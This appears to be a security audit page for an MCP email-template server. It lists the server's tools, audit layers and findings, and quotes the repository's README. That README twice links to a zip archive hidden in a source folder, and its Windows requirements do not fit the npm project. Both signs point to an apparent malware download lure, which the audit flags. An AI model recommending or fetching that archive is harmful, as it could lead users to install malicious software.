email-design-mcpCAUTION
Generate responsive, professional email templates using AI with brand memory, expert design, live preview, and easy editing in MCP-compatible clients.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/hema9265/email-design-mcp/main/src/prompts/layouts/welcome/emaildesignmcp_v1.6.zip)
📋 What is email-design-mcp?
email-design-mcp is an application that helps you design and generate email templates. It uses AI to make responsive emails that work well on phones and computers. The tool supports Claude, Cursor, and Visual Studio Code. You don’t need any API keys to use it. The design system is based on MJML, a language made for responsive emails. This means your emails will look good, no matter the device.
This app runs on Windows and sets up a server to handle your email design requests. It simplifies email creation, especially if you want brand-aware templates and easy editing.
🖥️ System Requirements
Before installing, check that your computer meets these needs:
- Windows 10 or later
- 4 GB of RAM minimum
- 500 MB free disk space
- A stable internet connection (to download updates and AI model data)
- Visual Studio Code installed (optional, for advanced editing)
- Microsoft .NET Framework 4.7.2 or newer
If you don’t have Visual Studio Code, you can still use the app’s basic features.
🌟 Key Features
- Create responsive emails that adjust to different screen sizes
- Use AI (Claude and Cursor) to generate email content
- No need to manage or provide API keys
- Templates powered by MJML for easy design and compatibility
- Runs a local MCP server to handle your requests smoothly
- Works with TypeScript-based workflows
- Includes brand-aware tools to keep your emails consistent
- No coding required to build and edit email templates
🚀 Getting Started
Step 1: Visit the Download Page
Click the big download button below to visit the official release page. This page lists all versions available for W
e982eac20a63OBSERVED · 2026-10-09Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add email-design-mcp -- npx -y [email protected]
{
"mcpServers": {
"email-design-mcp": {
"command": "npx",
"args": [
"-y",
"[email protected]"
]
}
}
}Exposed tools (22)
19 read · 3 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
Newsletter | read | Header + multiple content blocks + footer |
Promotional | read | Hero image + offer + CTA + urgency |
Transactional | write | Order confirmation with itemized details + clean layout |
compile_mjml | read | Compile MJML markup into responsive, production-ready HTML email. Returns the compiled HTML along with file size and any validation warnings. |
countdown | read | Urgency-driven with bold offer and time pressure |
digest | read | Numbered list of links with brief descriptions |
editorial | read | Long-form content with pull quotes and inline images |
export_email | read | Export a generated email as HTML, MJML, or both. Supports exporting specific versions from the refinement history. |
generate_email | read | Generate a professional email template from a natural language prompt. Returns expert system prompts, brand context, layout instructions, and a user instruction for the AI to produce MJML. After generating MJML, call compile_mjml to get the final HTML. |
hero-cta | read | Cinematic hero with gradient background, oversized typography, product imagery, and premium cards |
magazine | read | Featured article hero with grid of secondary stories |
minimalist | read | Refined dark-mode luxury design with dramatic whitespace and bold accents |
order-confirmation | write | Clean order confirmation with itemized details and tracking CTA |
product-grid | read | Multiple products displayed in a grid layout |
receipt | read | Payment receipt/invoice with detailed line items and payment info |
refine_email | read | Iterate on a previously generated email. Provide natural language feedback to modify the design. Supports section-level targeting (header, hero, body, cta, footer) and version history for undo. |
screenshot_to_email | read | Convert a design description (from a screenshot or mockup) into a branded MJML email. Describe the layout, colors, sections, and content — the AI will generate matching MJML. Supports multiple screenshots for long emails (pass an array of descriptions). |
setup_brand | write | Save a brand profile with colors, fonts, tone, and identity. Provide a website URL to auto-extract brand colors, fonts, and logo — or specify them manually. This brand context is used by generate_email to create on-brand emails. |
shipping-notification | read | Shipping notification with tracking information and delivery estimate |
single-hero | read | One large hero image with a single offer and CTA |
story-driven | read | Rich editorial layout with large imagery, social proof, and warm storytelling |
validate_email | read | Validate a compiled HTML email for best practices: size limits (Gmail clipping), dark mode support, accessibility (alt text), link integrity, unsubscribe link, and text-to-image ratio. |
Trust audit
CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (4 observation(s))
- Network
- declared (1 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (9)
email_design_mcp_v1.6.zip
mcp-design-email-1.2.zip
import type { EmailType } from '../../types/email.js';import type { BrandProfile } from '../../types/brand.js';import type { BrandProfile } from '../../types/brand.js';import type { BrandProfile } from '../../types/brand.js';import type { BrandProfile } from '../../types/brand.js';@modelcontextprotocol/sdk, cheerio, mjml, zod, @types/node, tsx, typescript, vitest
https://raw.githubusercontent.com/hema9265/email-design-mcp/main/src/prompts/layouts/welcome/email_design_mcp_v1.6.zip
Gates applied: no_behavioural_pass.
e982eac20a63full audit observations/trust-audit/mcp-server/hema9265__email-design-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-09 | e982eac20a63 | CAUTION | B | 89 | first audit |
Questions
What is the email-design-mcp MCP server?
Generate responsive, professional email templates using AI with brand memory, expert design, live preview, and easy editing in MCP-compatible clients.
What tools does email-design-mcp expose?
22 in total: 19 read-only, 3 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is email-design-mcp safe to connect to an agent?
With care. The audit graded it B (89/100) and found 9 things worth knowing before you trust this server, listed below with the exact line each was found on.
What credentials does email-design-mcp need?
No credential environment variables were found in its source, so it appears to need none.
How does email-design-mcp run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as email-design-mcp at 0.3.0.
How current is this page?
The grade is for one exact copy of the source (e982eac20a63), read on 2026-10-09. The repository is watched and re-audited when it changes.